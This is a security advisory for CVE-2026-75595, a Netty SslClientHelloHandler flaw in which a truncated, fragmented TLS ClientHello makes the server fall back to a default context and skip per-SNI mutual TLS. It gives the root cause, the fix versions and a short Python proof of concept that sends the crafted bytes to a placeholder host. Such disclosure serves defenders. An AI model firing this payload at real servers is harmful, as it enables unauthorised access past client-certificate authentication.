CVE-2026-75595: Netty SslClientHelloHandler SNI mTLS Bypass via Fragmented TLS ClientHello
A crafted, fragmented TLS ClientHello can trick Netty into silently skipping per-SNI certificate enforcement, letting an unauthenticated client connect where mutual TLS is required.

The problem
In io.netty.handler.ssl.SslClientHelloHandler#decode, the guard that should wait for a complete 4-byte handshake header uses the wrong offset. It checks readerIndex + 4 > endOffset instead of accounting for the preceding 5-byte TLS record header, so it never fires correctly.
When the first TLS record carries fewer than 4 bytes of handshake body, the subsequent call to in.getUnsignedMedium(readerIndex + SSL_RECORD_HEADER_LENGTH + 1) reads out of bounds and throws IndexOutOfBoundsException. The generic catch (Exception) block catches this and calls select(ctx, null), silently falling through to the default SslContext rather than the SNI-selected one.
Impact is a full mTLS bypass when three conditions are met together: the per-SNI context has clientAuth=REQUIRE, the default context is NONE or OPTIONAL, and no secondary application-layer cert check exists.
Proof of concept
A working proof-of-concept for CVE-2026-75595 in io.netty:netty-handler, with the exact payload below.
# Two TCP writes to the target TLS port.
# Write 1: TLS Handshake record (content type 0x16) with only 3 bytes of body,
# so the 4-byte handshake header (type + 3-byte length) is incomplete.
# Write 2: anything (or nothing) -- the parser already crashed in write 1.
#
# Byte layout of write 1:
# 0x16 -- content_type = handshake
# 0x03 0x03 -- version = TLS 1.2
# 0x00 0x03 -- record length = 3 (fewer than the 4 bytes the parser needs)
# 0x01 -- handshake type = ClientHello (only 1 byte delivered)
# 0x00 0x00 -- 2 of the 3 handshake-length bytes (record ends here)
#
# Result: getUnsignedMedium(readerIndex + 6) reads the 3rd length byte
# from outside this record -> IndexOutOfBoundsException
# -> catch(Exception) -> select(ctx, null) -> default SslContext
import socket
def trigger(host, port):
# Fragment 1: TLS record, 3-byte body -- handshake header intentionally truncated
frag1 = bytes([
0x16, # content_type: handshake
0x03, 0x03, # version: TLS 1.2
0x00, 0x03, # record length: 3 bytes
0x01, # handshake type: ClientHello
0x00, 0x00, # first 2 of 3 handshake-length bytes (truncated)
])
s = socket.create_connection((host, port))
s.sendall(frag1)
# Server's SslClientHelloHandler throws IOOBE, catches it,
# calls select(ctx, null), and falls back to the default SslContext.
# Continue TLS handshake normally -- no client cert required.
print("Fragment sent. Server should now use default (non-mTLS) SslContext.")
s.close()
trigger("target.example.com", 443)The root cause is a missing SSL_RECORD_HEADER_LENGTH (5) addend in the bounds check at line 120 of SslClientHelloHandler.java. The buggy check readerIndex + 4 > endOffset treats readerIndex as already pointing past the record header, but it does not. The fix adds the 5-byte offset: readerIndex + SSL_RECORD_HEADER_LENGTH + 4 > endOffset, so the handler correctly waits for more data instead of proceeding into a partial read.
The secondary design flaw is that catch (Exception) around the parse loop silently calls select(ctx, null) on any parse error. A safer design would fail closed (drop the connection) rather than fall back to a permissive default context. CWE-754 (Improper Check for Unusual or Exceptional Conditions) and CWE-475 (Undefined Behavior for Input to API) both apply.
The fix
Upgrade to io.netty:netty-handler **4.2.17.Final** (4.x branch) or **4.1.137.Final** (4.1.x branch). The patch corrects the bounds check in SslClientHelloHandler#decode to include the 5-byte TLS record header offset before reading the handshake header. No configuration workaround is available for affected versions; upgrade is the only remediation.
Reported by violetagg.
Related research
- high · 7.5CVE-2026-63490CVE-2026-63490: handlebars-springmvc Arbitrary File Read via URL Fragment Suffix Bypass
- high · 8.6CVE-2026-55848CVE-2026-55848: MapFish Print XXE via GML Layer URL
- high · 7.5CVE-2026-55841CVE-2026-55841: Graylog FortiGate Syslog Parser Field Injection
- highCVE-2026-55673CVE-2026-55673: powsybl-computation-local OS Command Injection via LocalCommandExecutor